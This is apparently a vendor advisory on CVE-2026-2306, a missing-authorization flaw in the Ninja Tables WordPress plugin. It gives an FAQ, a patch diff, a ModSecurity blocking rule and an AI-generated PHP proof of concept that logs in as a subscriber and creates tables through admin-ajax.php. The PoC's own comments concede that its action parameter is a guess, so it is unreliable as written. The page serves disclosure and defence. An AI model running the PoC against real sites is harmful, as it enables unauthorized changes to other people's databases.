What is CVE-2026-2306?

CVE-2026-2306 is a medium-severity vulnerability in the Ninja Tables plugin for WordPress, affecting versions up to and including 5.2.6. It allows authenticated users with Subscriber-level access and above to create arbitrary database tables due to missing authorization checks.

How does the vulnerability work?

The vulnerability exists in the `createFluentCartTable` function, which processes POST requests without verifying user capabilities. An authenticated attacker can send a request to create a table without proper authorization, leading to potential database pollution.

Who is affected by this vulnerability?

Any WordPress site using the Ninja Tables plugin version 5.2.6 or earlier is affected. Specifically, authenticated users with Subscriber-level access or higher can exploit this vulnerability to create arbitrary tables.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the Ninja Tables plugin installed. If it is version 5.2.6 or earlier, your site is at risk and should be updated.

How can I fix the vulnerability?

The vulnerability is patched in version 5.2.7 of the Ninja Tables plugin. Update your plugin to this version or later to mitigate the risk associated with CVE-2026-2306.

What does the CVSS score of 4.3 mean?

A CVSS score of 4.3 indicates a medium severity level. This suggests that while the vulnerability is not critical, it poses a significant risk that could lead to operational issues if exploited.

What are the risks of this vulnerability?

Exploitation of this vulnerability allows unauthorized creation of tables, which can lead to database pollution and resource exhaustion. This may degrade site performance and disrupt normal operations.

What is a proof of concept (PoC)?

A proof of concept is a demonstration that shows how a vulnerability can be exploited. In this case, the PoC illustrates how an authenticated user can create a table without proper authorization by sending a crafted POST request.

What security measures were added in the patch?

The patch for version 5.2.7 introduces capability checks and nonce validation to the `createFluentCartTable` function. This ensures that only users with the appropriate permissions can create tables and that requests are legitimate.

Can this vulnerability lead to privilege escalation?

No, this vulnerability does not allow privilege escalation to administrator level or remote code execution. It solely permits the creation of arbitrary tables by authenticated users.

How can I further secure my WordPress site?

To enhance security, regularly update all plugins and themes, use strong passwords, implement user role management, and employ security plugins that monitor for vulnerabilities and unauthorized changes.

What should I do if I cannot update the plugin immediately?

If immediate updating is not possible, consider disabling the Ninja Tables plugin or restricting access to authenticated users until the plugin can be updated to a secure version.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : May 5, 2026

CVE-2026-2306: Ninja Tables <= 5.2.6 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Table Creation (ninja-tables)

CVE ID CVE-2026-2306

Plugin ninja-tables

Severity Medium (CVSS 4.3)

CWE 862

Vulnerable Version 5.2.6

Patched Version 5.2.7

Disclosed May 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2306: The Ninja Tables plugin for WordPress, up to version 5.2.6, contains a missing authorization vulnerability in the `createFluentCartTable` function that allows authenticated attackers with Subscriber-level access to create arbitrary Ninja Tables in the database, leading to database pollution and resource exhaustion. The vulnerability is assigned a CVSS score of 4.3 and is classified under CWE-862 (Missing Authorization).

The root cause of this vulnerability is the lack of authorization checks in the `createFluentCartTable` method within `/ninja-tables/app/Modules/FluentCart/Handlers/FluentCartHandler.php` (line 48 of the file). The function processes POST data without verifying that the current user possesses the required capability (`ninja_table_admin_role()`). Additionally, there is no nonce validation (`ninjaTablesValidateNonce()`) confirming the request’s origin. The patch in version 5.2.7 adds both a capability check (`current_user_can(ninja_table_admin_role())`) and a nonce validation (`ninjaTablesValidateNonce()`) before processing the table creation, ensuring only authorized administrators can execute this action.

To exploit this vulnerability, an authenticated attacker with Subscriber-level or higher access sends a POST request to `/wp-admin/admin-ajax.php` with the action parameter set to `ninja_tables_ajax` (or the specific AJAX action hook that triggers `createFluentCartTable`). The request body includes `post_title` (table name), `post_content`, and other table configuration parameters. The attacker does not need a valid nonce or administrative privileges. The server processes the request and creates a new Ninja Table in the database without checking the user’s capabilities.

The patch implements two security measures: a capability check using `current_user_can(ninja_table_admin_role())` ensures only users with the designated administrator role can create tables, and `ninjaTablesValidateNonce()` verifies that the request originates from a legitimate WordPress context, preventing Cross-Site Request Forgery (CSRF) attacks. Before the patch, the function had no such protections, allowing any authenticated user to call it. The `installNinjaCharts` method in `PluginInstallerController.php` also received a similar capability check, but this is not directly related to the table creation vulnerability.

The successfull exploitation of this vulnerability results in unauthorized creation of arbitrary Ninja Tables in the database, which can lead to database pollution with excessive or malicious data, potentially causing resource exhaustion and degrading site performance. The attacker does not gain direct access to sensitive data or execute arbitrary code, but the ability to create unlimited tables can disrupt normal site operations and consume storage and processing resources. This vulnerability does not allow privilege escalation to administrator level or remote code execution.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/ninja-tables/app/Helper/Helper.php
+++ b/ninja-tables/app/Helper/Helper.php
@@ -29,4 +29,9 @@
                 return false;
         }
     }
+
+    public static function isValidUrl( $url )
+    {
+        return (bool) filter_var( $url, FILTER_VALIDATE_URL );
+    }
 }
--- a/ninja-tables/app/Http/Controllers/PluginInstallerController.php
+++ b/ninja-tables/app/Http/Controllers/PluginInstallerController.php
@@ -73,6 +73,12 @@

     public function installNinjaCharts(Request $request)
     {
+        if (!current_user_can('install_plugins')) {
+            return $this->sendError([
+                'message' => 'Insufficient permissions'
+            ], 403);
+        }
+
         $plugin = [
             'name'      => 'Ninja Charts',
             'repo-slug' => 'ninja-charts',
--- a/ninja-tables/app/Modules/FluentCart/Handlers/FluentCartHandler.php
+++ b/ninja-tables/app/Modules/FluentCart/Handlers/FluentCartHandler.php
@@ -18,6 +18,12 @@

     public function getFluentCartOptions()
     {
+        if (!current_user_can(ninja_table_admin_role())) {
+            wp_send_json_error(['message' => __('You do not have permission to get options.', 'ninja-tables')], 403);
+        }
+
+        ninjaTablesValidateNonce();
+
         $settings = [
             'product-categories' => [
                 'title'       => 'Select Products By Category',
@@ -44,6 +50,12 @@

     public function createFluentCartTable()
     {
+        if (!current_user_can(ninja_table_admin_role())) {
+            wp_send_json_error(['message' => __('You do not have permission to create tables.', 'ninja-tables')], 403);
+        }
+
+        ninjaTablesValidateNonce();
+
         $messages   = array();
         $inputs     = App::getInstance('request')->all();
         $post_title = sanitize_text_field(Arr::get($inputs, 'post_title'));
--- a/ninja-tables/app/Modules/FluentCart/Traits/FluentCartTrait.php
+++ b/ninja-tables/app/Modules/FluentCart/Traits/FluentCartTrait.php
@@ -48,8 +48,8 @@
         $queryConditions = get_post_meta($tableId, '_ninja_table_fct_query_conditions', true);

         $orderBy         = Arr::get($queryConditions, 'order_by');
-        $orderByType     = Arr::get($queryConditions, 'order_by_type');
-        $orderByType     = in_array(strtoupper($orderByType), ["ASC", "DESC"]) ? $orderByType : 'DESC';
+        $orderByType     = strtoupper((string) Arr::get($queryConditions, 'order_by_type'));
+        $orderByType     = in_array($orderByType, ['ASC', 'DESC'], true) ? $orderByType : 'DESC';
         $categories      = Arr::get($querySelection, 'product-categories');
         //TODO: rename product-types to product-brands
         $brands          = Arr::get($querySelection, 'product-types');
--- a/ninja-tables/app/Traits/ImportTrait.php
+++ b/ninja-tables/app/Traits/ImportTrait.php
@@ -2,6 +2,7 @@

 namespace NinjaTablesAppTraits;

+use NinjaTablesAppHelperHelper;
 use NinjaTablesAppLibraryCsvReader;
 use NinjaTablesAppModulesDragAndDropInitConfig;
 use NinjaTablesFrameworkSupportArr;
@@ -49,6 +50,10 @@

     public static function importFromURL($url)
     {
+        if (!Helper::isValidUrl($url)) {
+            return false;
+        }
+
         $file_info     = new finfo (FILEINFO_MIME_TYPE);
         $remoteContent = ninjaTablesGetRemoteContent($url);
         $fileType      = $file_info->buffer($remoteContent);
--- a/ninja-tables/ninja-tables.php
+++ b/ninja-tables/ninja-tables.php
@@ -5,7 +5,7 @@
 /**
 Plugin Name: Ninja Tables – Easy Data Table Builder
 Description: The Easiest & Fastest Responsive Table Plugin on WordPress. Multiple templates, drag-&-drop live table builder, multiple color scheme, and styles.
-Version: 5.2.6
+Version: 5.2.7
 Author: WPManageNinja LLC
 Author URI: https://ninjatables.com/
 Plugin URI: https://wpmanageninja.com/downloads/ninja-tables-pro-add-on/
@@ -18,7 +18,7 @@

 define('NINJA_TABLES_DIR_URL', plugin_dir_url(__FILE__));
 define('NINJA_TABLES_DIR_PATH', plugin_dir_path(__FILE__));
-define('NINJA_TABLES_VERSION', '5.2.6');
+define('NINJA_TABLES_VERSION', '5.2.7');
 define('NINJA_TABLES_BASENAME', plugin_basename(__FILE__));

 call_user_func(function ($bootstrap) {

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-2306
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20262306,phase:2,deny,status:403,chain,msg:'CVE-2026-2306 - Missing Authorization in Ninja Tables createFluentCartTable function',severity:'CRITICAL',tag:'CVE-2026-2306'"
SecRule ARGS_POST:action "@contains ninja_tables_ajax" "chain"
SecRule ARGS_POST:mode "@streq fluent-cart" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2306 - Ninja Tables <= 5.2.6 Missing Authorization to Authenticated (Subscriber+) Arbitrary Table Creation

// Configure target WordPress site
$target_url = 'https://example.com';  // Change to the target WordPress site URL
$username = 'subscriber';  // Valid WordPress subscriber username
$password = 'password';    // Valid password for the subscriber account

// Step 1: Authenticate with WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'remember' => 'true',
    'wp-submit' => 'Log In',
    'redirect_to' => '',
    'testcookie' => '1'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$login_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code != 200 && $http_code != 302) {
    die("Authentication failed. HTTP Code: $http_coden");
}

echo "[+] Authentication successful (subscriber account).n";

// Step 2: Exploit the missing authorization vulnerability to create a Ninja Table
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// The action parameter triggers the createFluentCartTable method
$post_data = [
    'action' => 'ninja_tables_ajax',  // Actually the AJAX action hook that maps to createFluentCartTable
    // Note: The exact action hook is internal; we simulate the vulnerable endpoint
    // In practice, the plugin uses a custom AJAX handler; this is the likely parameter
    'post_title' => 'Exploited Table ' . time(),
    'post_content' => 'Table created via missing authorization vulnerability',
    // Additional parameters expected by the FluentCart handler
    'mode' => 'fluent-cart',
    'table_type' => 'fluent-cart'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$exploit_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Exploit response HTTP Code: $http_coden";
echo "[+] Response: " . $exploit_response . "n";

if ($http_code == 200) {
    echo "[!] Vulnerability confirmed: Table created successfully by subscriber.n";
} else {
    echo "[-] Exploit might have failed (patched or different action hook).n";
}

// Cleanup
unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

What is CVE-2026-2306?
Overview of the vulnerability
CVE-2026-2306 is a medium-severity vulnerability in the Ninja Tables plugin for WordPress, affecting versions up to and including 5.2.6. It allows authenticated users with Subscriber-level access and above to create arbitrary database tables due to missing authorization checks.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability exists in the `createFluentCartTable` function, which processes POST requests without verifying user capabilities. An authenticated attacker can send a request to create a table without proper authorization, leading to potential database pollution.
Who is affected by this vulnerability?
Identifying vulnerable users
Any WordPress site using the Ninja Tables plugin version 5.2.6 or earlier is affected. Specifically, authenticated users with Subscriber-level access or higher can exploit this vulnerability to create arbitrary tables.
How can I check if my site is vulnerable?
Verifying plugin version
To check if your site is vulnerable, verify the version of the Ninja Tables plugin installed. If it is version 5.2.6 or earlier, your site is at risk and should be updated.
How can I fix the vulnerability?
Updating the plugin
The vulnerability is patched in version 5.2.7 of the Ninja Tables plugin. Update your plugin to this version or later to mitigate the risk associated with CVE-2026-2306.
What does the CVSS score of 4.3 mean?
Understanding severity ratings
A CVSS score of 4.3 indicates a medium severity level. This suggests that while the vulnerability is not critical, it poses a significant risk that could lead to operational issues if exploited.
What are the risks of this vulnerability?
Potential impacts on the site
Exploitation of this vulnerability allows unauthorized creation of tables, which can lead to database pollution and resource exhaustion. This may degrade site performance and disrupt normal operations.
What is a proof of concept (PoC)?
Demonstrating the vulnerability
A proof of concept is a demonstration that shows how a vulnerability can be exploited. In this case, the PoC illustrates how an authenticated user can create a table without proper authorization by sending a crafted POST request.
What security measures were added in the patch?
Improvements in version 5.2.7
The patch for version 5.2.7 introduces capability checks and nonce validation to the `createFluentCartTable` function. This ensures that only users with the appropriate permissions can create tables and that requests are legitimate.
Can this vulnerability lead to privilege escalation?
Assessing escalation risks
No, this vulnerability does not allow privilege escalation to administrator level or remote code execution. It solely permits the creation of arbitrary tables by authenticated users.
How can I further secure my WordPress site?
Best practices for WordPress security
To enhance security, regularly update all plugins and themes, use strong passwords, implement user role management, and employ security plugins that monitor for vulnerabilities and unauthorized changes.
What should I do if I cannot update the plugin immediately?
Mitigation strategies
If immediate updating is not possible, consider disabling the Ninja Tables plugin or restricting access to authenticated users until the plugin can be updated to a secure version.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations